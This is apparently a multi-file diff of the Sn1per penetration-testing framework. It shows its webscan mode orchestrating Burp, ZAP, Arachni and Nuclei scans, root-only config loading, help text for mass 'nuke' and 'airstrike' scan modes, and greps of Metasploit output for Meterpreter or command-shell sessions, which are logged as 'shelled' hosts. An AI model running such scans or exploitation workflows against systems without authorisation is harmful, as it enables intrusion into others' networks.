if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
SSL="true"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
|
||||
for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
source $INSTALL_DIR/modes/sc0pe-network-scan.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
fi
|
||||
source $INSTALL_DIR/modes/sc0pe.sh
|
||||
cd $INSTALL_DIR
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#SHELLED} -ge 5 ]]; then
|
||||
echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,165 @@
|
|||
if [[ "$MODE" = "webscan" ]]; then
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://sn1persecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e " ; , "
|
||||
echo -e " ,; '. "
|
||||
echo -e " ;: :; "
|
||||
echo -e " :: :: "
|
||||
echo -e " :: :: "
|
||||
echo -e " ': : "
|
||||
echo -e " :. : "
|
||||
echo -e " ;' :: :: ' "
|
||||
echo -e " .' '; ;' '. "
|
||||
echo -e " :: :; ;: :: "
|
||||
echo -e " ; :;. ,;: :: "
|
||||
echo -e " :; :;: ,;\" :: "
|
||||
echo -e " ::. ':; ..,.; ;:' ,.;: "
|
||||
echo -e " \"'\"... '::,::::: ;: .;.;\"\"' "
|
||||
echo -e " '\"\"\"....;:::::;,;.;\"\"\" "
|
||||
echo -e " .:::.....'\"':::::::'\",...;::::;. "
|
||||
echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; "
|
||||
echo -e " ::' ;::;:::;::.. :; "
|
||||
echo -e " :: ,;:::::::::::;:.. :: "
|
||||
echo -e " ;' ,;;:;::::::::::::::;\";.. ':."
|
||||
echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::"
|
||||
echo -e " :. :: ::::::; ::::::: : ; "
|
||||
echo -e " ; :: ::::::: ::::::: : ; "
|
||||
echo -e " ' :: ::::::....:::::' ,: ' "
|
||||
echo -e " ' :: :::::::::::::\" :: "
|
||||
echo -e " :: ':::::::::\"' :: "
|
||||
echo -e " ': \"\"\"\"\"\"\"' :: "
|
||||
echo -e " :: ;: "
|
||||
echo -e " ':; ;:\" "
|
||||
echo -e " -hrr- '; ,;' "
|
||||
echo -e " \"' '\" "
|
||||
echo -e " ''''$RESET"
|
||||
echo ""
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
touch $LOOT_DIR/scans/$TARGET-webscan.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:80\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:80\"]}"
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:443\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:443\"]}"
|
||||
echo ""
|
||||
for a in {1..30};
|
||||
do
|
||||
echo -n "[-] SCAN #$a: "
|
||||
curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
while [[ ${#BURP_STATUS} -gt "5" ]];
|
||||
do
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
|
||||
echo "[i] STATUS: $BURP_STATUS_FULL"
|
||||
sleep 15
|
||||
done
|
||||
done
|
||||
|
||||
echo "[+] VULNERABILITIES: "
|
||||
echo "----------------------------------------------------------------"
|
||||
for a in {1..30};
|
||||
do
|
||||
curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
|
||||
done
|
||||
|
||||
echo "[-] Done!"
|
||||
fi
|
||||
if [[ "$ZAP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[i] Scanning: http://$TARGET/"
|
||||
sudo python3 /usr/share/sniper/bin/zap-scan.py "http://$TARGET/"
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html
|
||||
cp -f $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-http.html 2> /dev/null
|
||||
echo "[i] Scan complete."
|
||||
echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html"
|
||||
sleep 5
|
||||
echo "[i] Scanning: https://$TARGET/"
|
||||
sudo python3 /usr/share/sniper/bin/zap-scan.py "https://$TARGET/"
|
||||
sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html
|
||||
cp -f $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-https.html 2> /dev/null
|
||||
echo "[i] Scan complete."
|
||||
echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html"
|
||||
fi
|
||||
if [[ "$ARACHNI_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
PORT="80"
|
||||
mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives http://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
unzip arachni.zip
|
||||
cd $INSTALL_DIR
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
PORT="443"
|
||||
mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives https://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
unzip arachni.zip
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ "$NUCLEI" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target http://$TARGET -o $LOOT_DIR/web/nuclei-http-${TARGET}-port80.txt
|
||||
nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target https://$TARGET -o $LOOT_DIR/web/nuclei-https-${TARGET}-port443.txt
|
||||
fi
|
||||
if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
SSL="false"
|
||||
PORT="80"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
|
||||
SSL="true"
|
||||
PORT="443"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-network-scan.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
fi
|
||||
source $INSTALL_DIR/modes/sc0pe.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
|
|
@ -34,3 +34,4 @@ new e("session")}();
|
|||
window.onunload = s();
|
||||
</script>
|
||||
</body></html>
|
||||
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
[Desktop Entry]
|
||||
Name=sn1per
|
||||
Encoding=UTF-8
|
||||
Exec=bash-wrapper "sudo sniper"
|
||||
Icon=/usr/share/pixmaps/sn1per.png
|
||||
StartupNotify=false
|
||||
Terminal=true
|
||||
Type=Application
|
||||
Categories=08-exploitation-tools;02-vulnerability-analysis;01-info-gathering;
|
||||
X-Kali-Package=sn1per
|
||||
Comment=
|
||||
Path=
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
677
sniper
677
sniper
|
|
@ -1,97 +1,150 @@
|
|||
#!/bin/bash
|
||||
# + -- --=[Sn1per Community Edition by @xer0dayz
|
||||
# + -- --=[https://xerosecurity.com
|
||||
# + -- --=[https://sn1persecurity.com
|
||||
#
|
||||
|
||||
VER="6.2"
|
||||
if [[ $EUID -ne 0 ]]; then
|
||||
echo "This script must be run as root"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
VER="9.2"
|
||||
INSTALL_DIR="/usr/share/sniper"
|
||||
LOOT_DIR="$INSTALL_DIR/loot/$TARGET"
|
||||
SNIPER_PRO=$INSTALL_DIR/pro.sh
|
||||
|
||||
# LOAD SNIPER CONFIGURATION FILE
|
||||
if [ -f ~/.sniper.conf ]; then
|
||||
source ~/.sniper.conf
|
||||
echo -e "$OKBLUE[*] Loaded configuration file from ~/.sniper.conf [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
# INIT POSTGRESQL
|
||||
service postgresql start 2> /dev/null
|
||||
|
||||
# LOAD DEFAULT SNIPER CONFIGURATION FILE
|
||||
dos2unix $INSTALL_DIR/sniper.conf 2> /dev/null > /dev/null
|
||||
source $INSTALL_DIR/sniper.conf
|
||||
echo -e "$OKBLUE[*]$RESET Loaded configuration file from $INSTALL_DIR/sniper.conf $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
|
||||
if [[ -f /root/.sniper.conf ]]; then
|
||||
# LOAD USER SN1PER CONFIGURATION FILE
|
||||
dos2unix /root/.sniper.conf 2> /dev/null > /dev/null
|
||||
source /root/.sniper.conf
|
||||
echo -e "$OKBLUE[*]$RESET Loaded configuration file from /root/.sniper.conf $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
|
||||
if [[ -f /root/.sniper_api_keys.conf ]]; then
|
||||
# LOAD USER API KEYS (PERSISTENT CONFIG)
|
||||
dos2unix /root/.sniper_api_keys.conf 2> /dev/null > /dev/null
|
||||
source /root/.sniper_api_keys.conf
|
||||
echo -e "$OKBLUE[*]$RESET Loaded API keys from /root/.sniper_api_keys.conf $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
fi
|
||||
|
||||
else
|
||||
cp $INSTALL_DIR/sniper.conf ~/.sniper.conf 2> /dev/null
|
||||
source ~/.sniper.conf
|
||||
echo -e "$OKBLUE[*] Loaded configuration file from ~/.sniper.conf [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
# IF NO USER CONFIG PRESENT, CREATE IT FROM THE DEFAULT TEMPLATE
|
||||
cp $INSTALL_DIR/sniper.conf /root/.sniper.conf 2> /dev/null
|
||||
dos2unix /root/.sniper.conf 2> /dev/null > /dev/null
|
||||
source /root/.sniper.conf
|
||||
echo -e "$OKBLUE[*]$RESET Loaded configuration file from /root/.sniper.conf $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
fi
|
||||
|
||||
DISTRO=$(cat /etc/*-release | grep DISTRIB_ID= | cut -d'=' -f2)
|
||||
|
||||
function help {
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo ""
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com$RESET"
|
||||
echo -e "$OKORANGE + -- --=[sniper v$VER by @xer0dayz$RESET"
|
||||
echo ""
|
||||
echo ' [*] NORMAL MODE'
|
||||
echo ' sniper -t|--target <TARGET>'
|
||||
echo ""
|
||||
echo ' [*] NORMAL MODE + OSINT + RECON'
|
||||
echo ' sniper -t|--target <TARGET> -o|--osint -re|--recon'
|
||||
echo ""
|
||||
echo ' [*] STEALTH MODE + OSINT + RECON'
|
||||
echo ' sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon'
|
||||
echo ""
|
||||
echo ' [*] DISCOVER MODE'
|
||||
echo ' sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>'
|
||||
echo ""
|
||||
echo ' [*] SCAN ONLY SPECIFIC PORT'
|
||||
echo ' sniper -t|--target <TARGET> -m port -p|--port <portnum>'
|
||||
echo ""
|
||||
echo ' [*] FULLPORTONLY SCAN MODE'
|
||||
echo ' sniper -t|--target <TARGET> -fp|--fullportonly'
|
||||
echo ""
|
||||
echo ' [*] PORT SCAN MODE'
|
||||
echo ' sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>'
|
||||
echo ""
|
||||
echo ' [*] WEB MODE - PORT 80 + 443 ONLY!'
|
||||
echo ' sniper -t|--target <TARGET> -m|--mode web'
|
||||
echo ""
|
||||
echo ' [*] HTTP WEB PORT MODE'
|
||||
echo ' sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>'
|
||||
echo ""
|
||||
echo ' [*] HTTPS WEB PORT MODE'
|
||||
echo ' sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>'
|
||||
echo ""
|
||||
echo ' [*] ENABLE BRUTEFORCE'
|
||||
echo ' sniper -t|--target <TARGET> -b|--bruteforce'
|
||||
echo ""
|
||||
echo ' [*] AIRSTRIKE MODE'
|
||||
echo ' sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike'
|
||||
echo ""
|
||||
echo ' [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED'
|
||||
echo ' sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>'
|
||||
echo ""
|
||||
echo ' [*] LIST WORKSPACES'
|
||||
echo ' sniper --list'
|
||||
echo ""
|
||||
echo ' [*] DELETE WORKSPACE'
|
||||
echo ' sniper -w <WORKSPACE_ALIAS> -d'
|
||||
echo ""
|
||||
echo ' [*] DELETE HOST FROM WORKSPACE'
|
||||
echo ' sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh'
|
||||
echo ""
|
||||
echo ' [*] GET SNIPER SCAN STATUS'
|
||||
echo ' sniper --status'
|
||||
echo ""
|
||||
echo ' [*] LOOT REIMPORT FUNCTION'
|
||||
echo ' sniper -w <WORKSPACE_ALIAS> --reimport'
|
||||
echo ""
|
||||
echo ' [*] LOOT REIMPORT FUNCTION'
|
||||
echo ' sniper -w <WORKSPACE_ALIAS> --reload'
|
||||
echo ""
|
||||
echo ' [*] UPDATE SNIPER'
|
||||
echo ' sniper -u|--update'
|
||||
echo ""
|
||||
echo ""
|
||||
logo
|
||||
local star
|
||||
printf -v star "$OKBLUE[*]$RESET"
|
||||
cat <<EOHELP
|
||||
|
||||
$star NORMAL MODE
|
||||
sniper -t <TARGET>
|
||||
|
||||
$star SPECIFY CUSTOM CONFIG FILE
|
||||
sniper -c /full/path/to/sniper.conf -t <TARGET> -m <MODE> -w <WORKSPACE>
|
||||
|
||||
$star NORMAL MODE + OSINT + RECON
|
||||
sniper -t <TARGET> -o -re
|
||||
|
||||
$star STEALTH MODE + OSINT + RECON
|
||||
sniper -t <TARGET> -m stealth -o -re
|
||||
|
||||
$star DISCOVER MODE
|
||||
sniper -t <CIDR> -m discover -w <WORSPACE_ALIAS>
|
||||
|
||||
$star SCAN ONLY SPECIFIC PORT
|
||||
sniper -t <TARGET> -m port -p <portnum>
|
||||
|
||||
$star FULLPORTONLY SCAN MODE
|
||||
sniper -t <TARGET> -fp
|
||||
|
||||
$star WEB MODE - PORT 80 + 443 ONLY!
|
||||
sniper -t <TARGET> -m web
|
||||
|
||||
$star HTTP WEB PORT MODE
|
||||
sniper -t <TARGET> -m webporthttp -p <port>
|
||||
|
||||
$star HTTPS WEB PORT MODE
|
||||
sniper -t <TARGET> -m webporthttps -p <port>
|
||||
|
||||
$star HTTP WEBSCAN MODE
|
||||
sniper -t <TARGET> -m webscan
|
||||
|
||||
$star ENABLE BRUTEFORCE
|
||||
sniper -t <TARGET> -b
|
||||
|
||||
$star AIRSTRIKE MODE
|
||||
sniper -f targets.txt -m airstrike
|
||||
|
||||
$star NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED
|
||||
sniper -f targets.txt -m nuke -w <WORKSPACE_ALIAS>
|
||||
|
||||
$star MASS PORT SCAN MODE
|
||||
sniper -f targets.txt -m massportscan -w <WORKSPACE_ALIAS>
|
||||
|
||||
$star MASS WEB SCAN MODE
|
||||
sniper -f targets.txt -m massweb -w <WORKSPACE_ALIAS>
|
||||
|
||||
$star MASS WEBSCAN SCAN MODE
|
||||
sniper -f targets.txt -m masswebscan -w <WORKSPACE_ALIAS>
|
||||
|
||||
$star MASS VULN SCAN MODE
|
||||
sniper -f targets.txt -m massvulnscan -w <WORKSPACE_ALIAS>
|
||||
|
||||
$star PORT SCAN MODE
|
||||
sniper -t <TARGET> -m port -p <PORT_NUM>
|
||||
|
||||
$star LIST WORKSPACES
|
||||
sniper --list
|
||||
|
||||
$star DELETE WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -d
|
||||
|
||||
$star DELETE HOST FROM WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh
|
||||
|
||||
$star DELETE TASKS FROM WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dt
|
||||
|
||||
$star GET SNIPER SCAN STATUS
|
||||
sniper --status
|
||||
|
||||
$star LOOT REIMPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimport
|
||||
|
||||
$star LOOT REIMPORTALL FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimportall
|
||||
|
||||
$star LOOT REIMPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reload
|
||||
|
||||
$star LOOT EXPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --export
|
||||
|
||||
$star SCHEDULED SCANS
|
||||
sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly
|
||||
|
||||
$star USE A CUSTOM CONFIG
|
||||
sniper -c /path/to/sniper.conf -t <TARGET> -w <WORKSPACE_ALIAS>
|
||||
|
||||
$star UPDATE SNIPER
|
||||
sniper -u|--update
|
||||
|
||||
|
||||
EOHELP
|
||||
exit
|
||||
}
|
||||
|
||||
|
|
@ -103,49 +156,38 @@ function logo {
|
|||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo ""
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com$RESET"
|
||||
echo -e "$OKORANGE + -- --=[sniper v$VER by @xer0dayz$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ https://sn1persecurity.com$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ Sn1per v$VER by @xer0dayz$RESET"
|
||||
echo ""
|
||||
}
|
||||
|
||||
function sniper_status {
|
||||
watch -n 1 -c 'ps -ef | egrep "hydra|ruby|python|dirsearch|amass|nmap|metasploit|curl|wget|nikto" && echo "NETWORK CONNECTIONS..." && netstat -an | egrep "TIME_WAIT|EST"'
|
||||
}
|
||||
|
||||
function check_online {
|
||||
if [ ! -z "$ONLINE" ]; then
|
||||
ONLINE=$(curl --connect-timeout 3 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13)
|
||||
if [ -z "$ONLINE" ]; then
|
||||
ONLINE="0"
|
||||
echo -e "$OKBLUE[*] Checking for active internet connection [$RESET${OKRED}FAIL${RESET}$OKBLUE]"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] sniper is running in offline mode.$RESET"
|
||||
else
|
||||
ONLINE="1"
|
||||
echo -e "$OKBLUE[*] Checking for active internet connection [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
fi
|
||||
fi
|
||||
watch -n 1 -c 'ps -ef | egrep "sniper|slurp|hydra|ruby|python|dirsearch|amass|nmap|metasploit|curl|wget|nikto" && echo "NETWORK CONNECTIONS..." && netstat -an | egrep "TIME_WAIT|EST"'
|
||||
}
|
||||
|
||||
# CHECK FOR UPDATES
|
||||
function check_update {
|
||||
if [ "$ENABLE_AUTO_UPDATES" == "1" ] && [ "$ONLINE" == "1" ]; then
|
||||
